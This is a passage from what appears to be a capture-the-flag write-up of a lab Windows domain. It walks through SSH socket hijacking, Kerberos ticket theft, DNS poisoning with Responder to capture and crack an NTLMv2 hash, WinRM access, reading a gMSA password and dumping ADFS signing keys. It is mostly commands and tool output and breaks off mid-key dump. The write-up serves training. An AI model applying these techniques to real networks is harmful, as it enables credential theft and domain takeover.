Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 24 Sep 2026 04:43:51 GMT
Content-Type: application/json
Content-Length: 153
Connection: keep-alive
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
permissions-policy: interest-cohort=()
{"is_safe":true,"temp_command_success":true,"temp_command_stdout":"root\n","temp_command_stderr":"bash: line 1: intranet_url_check: command not found\n"}
Using this I’ll grab a reverse shell
1
2
root@36b733906694:/app# id
uid=0(root) gid=0(root) groups=0(root)
Just like that we have a foothold shell.
Taking a look at our foothold’s home directory we can find an interesting directory in the .ssh folder controlmaster containing an interesting socket file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@36b733906694:~# ls -lashR
.:
total 28K
8.0K drwx------ 1 root root 4.0K Jul 5 2024 .
4.0K drwxr-xr-x 1 root root 4.0K Jul 22 2024 ..
0 lrwxrwxrwx 1 root root 9 Jul 5 2024 .bash_history -> /dev/null
4.0K -rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
4.0K -rw-r--r-- 1 root root 161 Jul 9 2019 .profile
8.0K drwxr-xr-x 1 root root 4.0K Jul 5 2024 .ssh
./.ssh:
total 32K
8.0K drwxr-xr-x 1 root root 4.0K Jul 5 2024 .
8.0K drwx------ 1 root root 4.0K Jul 5 2024 ..
4.0K -rw-r--r-- 1 root root 92 Sep 24 01:31 config
4.0K drwxr-xr-x 1 root root 4.0K Sep 24 01:34 controlmaster
4.0K -rw------- 1 root root 978 Jul 5 2024 known_hosts
4.0K -rw-r--r-- 1 root root 142 Jul 5 2024 known_hosts.old
./.ssh/controlmaster:
total 12K
4.0K drwxr-xr-x 1 root root 4.0K Sep 24 01:34 .
8.0K drwxr-xr-x 1 root root 4.0K Jul 5 2024 ..
0 srw------- 1 root root 0 Sep 24 01:33 florence.ramirez@ghost.htb@dev-workstation:22
Let’s take a look at the config
1
2
3
4
5
root@36b733906694:~# cat .ssh/config
Host *
ControlMaster auto
ControlPath ~/.ssh/controlmaster/%r@%h:%p
ControlPersist yes
We see that the ControlMaster is on auto which means that an ssh session will automatically be controlled by creating a socket in the defined ControlPath, finally the ControlPersist determines the duration that the socket will stay alive, in this case perpetually. What all this means is that there’s an active ssh session that we can use to get to florence.ramirez@ghost.htb@dev-workstation. We can determine the ip address of this workstation via the curl command
1
2
3
4
5
6
root@36b733906694:~# curl dev-workstation -vv
* Trying 172.18.0.2:80...
* connect to 172.18.0.2 port 80 failed: Connection refused
* Failed to connect to dev-workstation port 80 after 5 ms: Couldn't connect to server
* Closing connection 0
curl: (7) Failed to connect to dev-workstation port 80 after 5 ms: Couldn't connect to server
We can also simply use the socket to connect to the machine.
1
2
3
root@36b733906694:~# ssh florence.ramirez@ghost.htb@dev-workstation
Last login: Thu Feb 1 23:58:45 2024 from 172.18.0.1
florence.ramirez@LINUX-DEV-WS01:~$
Taking a look we can find that we do have a kerberos session active.
1
2
3
4
5
6
7
florence.ramirez@LINUX-DEV-WS01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB
Valid starting Expires Service principal
09/24/26 04:54:03 09/24/26 14:54:03 krbtgt/GHOST.HTB@GHOST.HTB
renew until 09/25/26 04:54:03
The ticket cache file is the most interesting here so I’ll grab that and transfer it to my attacker machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS /home/w1ld/ALPHA/ghost> klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: florence.ramirez@GHOST.HTB
Valid starting Expires Service principal
09/24/2026 14:55:02 09/25/2026 00:55:02 krbtgt/GHOST.HTB@GHOST.HTB
renew until 09/25/2026 14:55:02
PS /home/w1ld/ALPHA/ghost> nxc ldap dc01.ghost.htb -k --use-kcache -M whoami
LDAP dc01.ghost.htb 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GHOST.HTB) (signing:None) (channel binding:Never)
LDAP dc01.ghost.htb 389 DC01 [+] GHOST.HTB\florence.ramirez from ccache
WHOAMI dc01.ghost.htb 389 DC01 Name: Florence Ramirez
WHOAMI dc01.ghost.htb 389 DC01 sAMAccountName: florence.ramirez
WHOAMI dc01.ghost.htb 389 DC01 Enabled: Yes
WHOAMI dc01.ghost.htb 389 DC01 Password Never Expires: Yes
WHOAMI dc01.ghost.htb 389 DC01 Last logon: 2026-09-24 04:58:02 UTC
WHOAMI dc01.ghost.htb 389 DC01 Password Last Set: 2024-02-01 22:48:11 UTC
WHOAMI dc01.ghost.htb 389 DC01 Bad Password Count: 0
WHOAMI dc01.ghost.htb 389 DC01 Distinguished Name: CN=Florence Ramirez,CN=Users,DC=ghost,DC=htb
WHOAMI dc01.ghost.htb 389 DC01 Member of: CN=IT,CN=Users,DC=ghost,DC=htb
WHOAMI dc01.ghost.htb 389 DC01 User SID: S-1-5-21-4084500788-938703357-3654145966-3606
Just like that we have a foothold onto the ghost.htb domain.
What we really want is a shell on DC01 as right now we have a shell on the LINUX-DEV-WS01 computer.
1
2
3
4
5
6
7
PS /home/w1ld/ALPHA/ghost> bloodyAD -H dc01.ghost.htb -d ghost.htb -k get search --filter "(objectClass=computer)" --attr distinguishedName
distinguishedName: CN=DC01,OU=Domain Controllers,DC=ghost,DC=htb
distinguishedName: CN=LINUX-DEV-WS01,CN=Computers,DC=ghost,DC=htb
distinguishedName: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb
Commonly the group that can get us that shell is the Remote Management Users which has the following members.
1
2
3
4
PS /home/w1ld/ALPHA/ghost> bloodyAD -H dc01.ghost.htb -d ghost.htb -k get object "Remote Management Users" --attr member
distinguishedName: CN=Remote Management Users,CN=Builtin,DC=ghost,DC=htb
member: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb; CN=Justin Bradley,CN=Users,DC=ghost,DC=htb
We notice a familiar name: justin.bradley who earlier complained that the bitbucket domain wasn’t accessible we could be able to exploit this. By default Domain Users are able to modify the ADIDNS of a domain, let’s double check this.
1
2
3
4
5
6
7
8
9
10
11
12
13
PS /home/w1ld/ALPHA/ghost> bloodyAD -H dc01.ghost.htb -d ghost.htb -k get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=ghost,DC=htb
permission: WRITE
distinguishedName: CN=Florence Ramirez,CN=Users,DC=ghost,DC=htb
permission: WRITE
distinguishedName: DC=ghost.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=ghost,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.ghost.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=ghost,DC=htb
permission: CREATE_CHILD
Based on this our next move would probably to create an ADIDNS entry for bitbucket pointing to our attacker machine running responder to catch any authentication. Important to note that since SMB signing is required we cannot feasibly relay to smb. We could theoretically relay to ldap as signing and channelBinding are both disabled, however I was unable to get any authentication to work.
Once we do get justin.bradley we’d have a shell on the domain, taking a look at ACLs through ldap querying and matching justin.bradley's SID around we find he’s a member of msDS-GroupMSAMembership. Whos users can read the passwords of Managed Service Accounts. Which we find to be adfs_gmsa. Here’s a little bit of the terminal-fu that went into this enumeration.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS /home/w1ld/ALPHA/ghost> cat ./users.acl | grep -b3 "justin.bradley"
46509-objectSid: S-1-5-21-4084500788-938703357-3654145966-3607
46566-primaryGroupID: 513
46586-pwdLastSet: 2024-02-01 22:48:11.603334+00:00
46631:sAMAccountName: justin.bradley
46662-sAMAccountType: 805306368
46688-sn: bradley
46700-uSNChanged: 159944
PS /home/w1ld/ALPHA/ghost> grep -Rni "S-1-5-21-4084500788-938703357-3654145966-3607" *.acl
users.acl:320:objectSid: S-1-5-21-4084500788-938703357-3654145966-3607
users.acl:576:msDS-GroupMSAMembership: O:S-1-5-32-544D:(A;;0xf01ff;;;S-1-5-21-4084500788-938703357-3654145966-1000)(A;;0xf01ff;;;S-1-5-21-4084500788-938703357-3654145966-3607)
PS /home/w1ld/ALPHA/ghost> grep -Rni "Managed Service Accounts" *.acl
groups.acl:437:member: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb; CN=Justin Bradley,CN=Users,DC=ghost,DC=htb
users.acl:559:distinguishedName: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb
So I added my DNS record like so.
1
2
3
PS /home/w1ld/ALPHA/ghost> bloodyAD -H dc01.ghost.htb -d ghost.htb -k add dnsRecord bitbucket 10.10.14.3
[+] Adding "bitbucket" to "DC=ghost.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=ghost,DC=htb"
[+] bitbucket has been successfully added
With Responder running to catch the authentications.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
PS /home/w1ld/ALPHA/ghost> sudo /home/w1ld/.local/bin/responder -I tun0 -v
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[*] Tips jar:
USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
BTC -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
DHCPv6 [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.3]
Responder IPv6 [fe80::946b:9999:c12c:e127]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-IHWL6RN2MY3]
Responder Domain Name [Z2AZ.LOCAL]
Responder DCE-RPC Port [48494]
[*] Version: Responder 3.2.2.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[+] Listening for events...
[SNMP] Warning: pyasn1 not installed, SNMP server disabled
[!] Error starting SSL server on port 5986, check permissions or other servers running.
[!] Error starting SSL server on port 443, check permissions or other servers running.
[!] Error starting SSL server on port 636, check permissions or other servers running.
[HTTP] Sending NTLM authentication request to 10.129.231.105
[HTTP] GET request from: ::ffff:10.129.231.105 URL: /
[HTTP] NTLMv2 Client : 10.129.231.105
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash : justin.bradley::ghost:3b259d01621065a4:6C3F56DA560AA536C46866B47B5B1114:01010000000000000D02D[REDACTED]
We catch an ntlmv2 hash for justin.bradley we can attempt to crack it using hashcat’s 5600 mode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
PS /home/w1ld/ALPHA/ghost> hashcat -m 5600 ./justin.bradley.pem /usr/share/seclists/rockyou.txt -w 3
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 7 5800H with Radeon Graphics, 2917/5899 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache hit:
* Filename..: /usr/share/seclists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
Cracking performance lower than expected?
* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
JUSTIN.BRADLEY::ghost:3b259d01621065a4:6c3f56da560aa536c46866b47b5b1114:01010000000000000d02d5fb1f4cdd01[REDACTED]:[REDACTED]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: JUSTIN.BRADLEY::ghost:3b259d01621065a4:6c3f56da560a...000000
Time.Started.....: Thu Sep 24 22:28:29 2026 (15 secs)
Time.Estimated...: Thu Sep 24 22:28:44 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/seclists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 658.8 kH/s (1.02ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10711040/14344384 (74.67%)
Rejected.........: 0/10711040 (0.00%)
Restore.Point....: 10708992/14344384 (74.66%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: R3010K -> Quelon
Hardware.Mon.#1..: Util: 37%
Started: Thu Sep 24 22:28:27 2026
Stopped: Thu Sep 24 22:28:46 2026
We get a successful crack, let’s authenticate.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS /home/w1ld/ALPHA/ghost> nxc ldap dc01.ghost.htb -u 'justin.bradley' -p $PASS -M whoami
LDAP 10.129.231.105 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb) (signing:None) (channel binding:Never)
LDAP 10.129.231.105 389 DC01 [+] ghost.htb\justin.bradley:[REDACTED]
WHOAMI 10.129.231.105 389 DC01 Name: Justin Bradley
WHOAMI 10.129.231.105 389 DC01 sAMAccountName: justin.bradley
WHOAMI 10.129.231.105 389 DC01 Enabled: Yes
WHOAMI 10.129.231.105 389 DC01 Password Never Expires: Yes
WHOAMI 10.129.231.105 389 DC01 Last logon: 2026-09-24 12:25:33 UTC
WHOAMI 10.129.231.105 389 DC01 Password Last Set: 2024-02-01 22:48:11 UTC
WHOAMI 10.129.231.105 389 DC01 Bad Password Count: 0
WHOAMI 10.129.231.105 389 DC01 Distinguished Name: CN=Justin Bradley,CN=Users,DC=ghost,DC=htb
WHOAMI 10.129.231.105 389 DC01 Member of: CN=IT,CN=Users,DC=ghost,DC=htb
WHOAMI 10.129.231.105 389 DC01 Member of: CN=Remote Management Users,CN=Builtin,DC=ghost,DC=htb
WHOAMI 10.129.231.105 389 DC01 User SID: S-1-5-21-4084500788-938703357-3654145966-3607
Since we’re a member of Remote Management Users we’re able to winrm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
PS /home/w1ld/ALPHA/ghost> evil-winrmexec -k dc01.ghost.htb
[*] '-target_ip' not specified, using dc01.ghost.htb
[*] '-port' not specified, using 5985
[*] '-url' not specified, using http://dc01.ghost.htb:5985/wsman
[*] using domain and username from ccache: GHOST.HTB\justin.bradley
[*] '-spn' not specified, using HTTP/dc01.ghost.htb@GHOST.HTB
[*] '-dc-ip' not specified, using GHOST.HTB
[*] requesting TGS for HTTP/dc01.ghost.htb@GHOST.HTB
Ctrl+D to exit, Ctrl+C will try to interrupt the running pipeline gracefully
This is not an interactive shell! If you need to run programs that expect
inputs from stdin, or exploits that spawn cmd.exe, etc., pop a !revshell
Special !bangs:
!download RPATH [LPATH] # downloads a file or directory (as a zip file); use 'PATH'
# if it contains whitespace
!upload [-xor] LPATH [RPATH] # uploads a file; use 'PATH' if it contains whitespace, though use iwr
# if you can reach your ip from the box, because this can be slow;
# use -xor only in conjunction with !psrun/!netrun
!amsi # amsi bypass, run this right after you get a prompt
!psrun [-xor] URL # run .ps1 script from url; uses ScriptBlock smuggling, so no !amsi patching is
# needed unless that script tries to load a .NET assembly; if you can't reach
# your ip, !upload with -xor first, then !psrun -xor 'c:\foo\bar.ps1' (needs absolute path)
!netrun [-xor] URL [ARG] [ARG] # run .NET assembly from url, use 'ARG' if it contains whitespace;
# !amsi first if you're getting '...program with an incorrect format' errors;
# if you can't reach your ip, !upload with -xor first then !netrun -xor 'c:\foo\bar.exe' (needs absolute path)
!revshell IP PORT # pop a revshell at IP:PORT with stdin/out/err redirected through a socket; if you can't reach your ip and you
# you need to run an executable that expects input, try:
# PS> Set-Content -Encoding ASCII 'stdin.txt' "line1`nline2`nline3"
# PS> Start-Process some.exe -RedirectStandardInput 'stdin.txt' -RedirectStandardOutput 'stdout.txt'
!log # start logging output to winrmexec_[timestamp]_stdout.log
!stoplog # stop logging output to winrmexec_[timestamp]_stdout.log
PS C:\Users\justin.bradley\Documents> ls ../Desktop
Directory: C:\Users\justin.bradley\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/23/2026 6:31 PM 34 user.txt
There we can find the user flag.
We’ve enumerated earlier that justin.bradley is a member of the msDS-GroupMSAMembership who can read GMSA account passwords, let’s do just that.
1
2
3
4
5
PS /home/w1ld/ALPHA/ghost> bloodyAD -H dc01.ghost.htb -d ghost.htb -k get object "adfs_gmsa$" --attr msDs-ManagedPassword
distinguishedName: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb
msDS-ManagedPassword.NT: e37b1[REDACTED]
msDS-ManagedPassword.B64ENCODED: 0rTxkbJ+YrPyMgMEp1BsR6qHO[REDACTED]
Let’s check our authentication.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PS /home/w1ld/ALPHA/ghost> klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: adfs_gmsa$@GHOST.HTB
Valid starting Expires Service principal
09/24/2026 22:45:15 09/25/2026 08:45:15 krbtgt/GHOST.HTB@GHOST.HTB
renew until 09/25/2026 22:45:14
PS /home/w1ld/ALPHA/ghost> nxc ldap dc01.ghost.htb -k --use-kcache -M whoami
LDAP dc01.ghost.htb 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GHOST.HTB) (signing:None) (channel binding:Never)
LDAP dc01.ghost.htb 389 DC01 [+] GHOST.HTB\adfs_gmsa$ from ccache
WHOAMI dc01.ghost.htb 389 DC01 Name: adfs_gmsa
WHOAMI dc01.ghost.htb 389 DC01 sAMAccountName: adfs_gmsa$
WHOAMI dc01.ghost.htb 389 DC01 Enabled: Yes
WHOAMI dc01.ghost.htb 389 DC01 Password Never Expires: No
WHOAMI dc01.ghost.htb 389 DC01 Last logon: 2026-09-24 12:45:15 UTC
WHOAMI dc01.ghost.htb 389 DC01 Password Last Set: 2026-09-24 01:31:40 UTC
WHOAMI dc01.ghost.htb 389 DC01 Bad Password Count: 0
WHOAMI dc01.ghost.htb 389 DC01 Service Account Name(s) found - Potentially Kerberoastable user!
WHOAMI dc01.ghost.htb 389 DC01 Service Account Name: host/federation.ghost.htb
WHOAMI dc01.ghost.htb 389 DC01 Distinguished Name: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb
WHOAMI dc01.ghost.htb 389 DC01 Member of: CN=Remote Management Users,CN=Builtin,DC=ghost,DC=htb
WHOAMI dc01.ghost.htb 389 DC01 User SID: S-1-5-21-4084500788-938703357-3654145966-4101
We find a very interesting SPN: host/federation.ghost.htb, this implies that there’s an ADFS endpoint with the domain of federation.ghost.htb. One of the attacks we can perform against ADFS is the Golden SAML attack which requires an Identity Provider to produce a SAMLResponse after a sign in.
I’ll run ADFSDump.exe on a winrm session to grab as much information about the ADFS service on the machine as possible.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
PS C:\w1ld> ./ADFSDump.exe
___ ____ ___________ ____
/ | / __ \/ ____/ ___// __ \__ ______ ___ ____
/ /| | / / / / /_ \__ \/ / / / / / / __ `__ \/ __ \
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /
/_/ |_/_____/_/ /____/_____/\__,_/_/ /_/ /_/ .___/
/_/
Created by @doughsec
## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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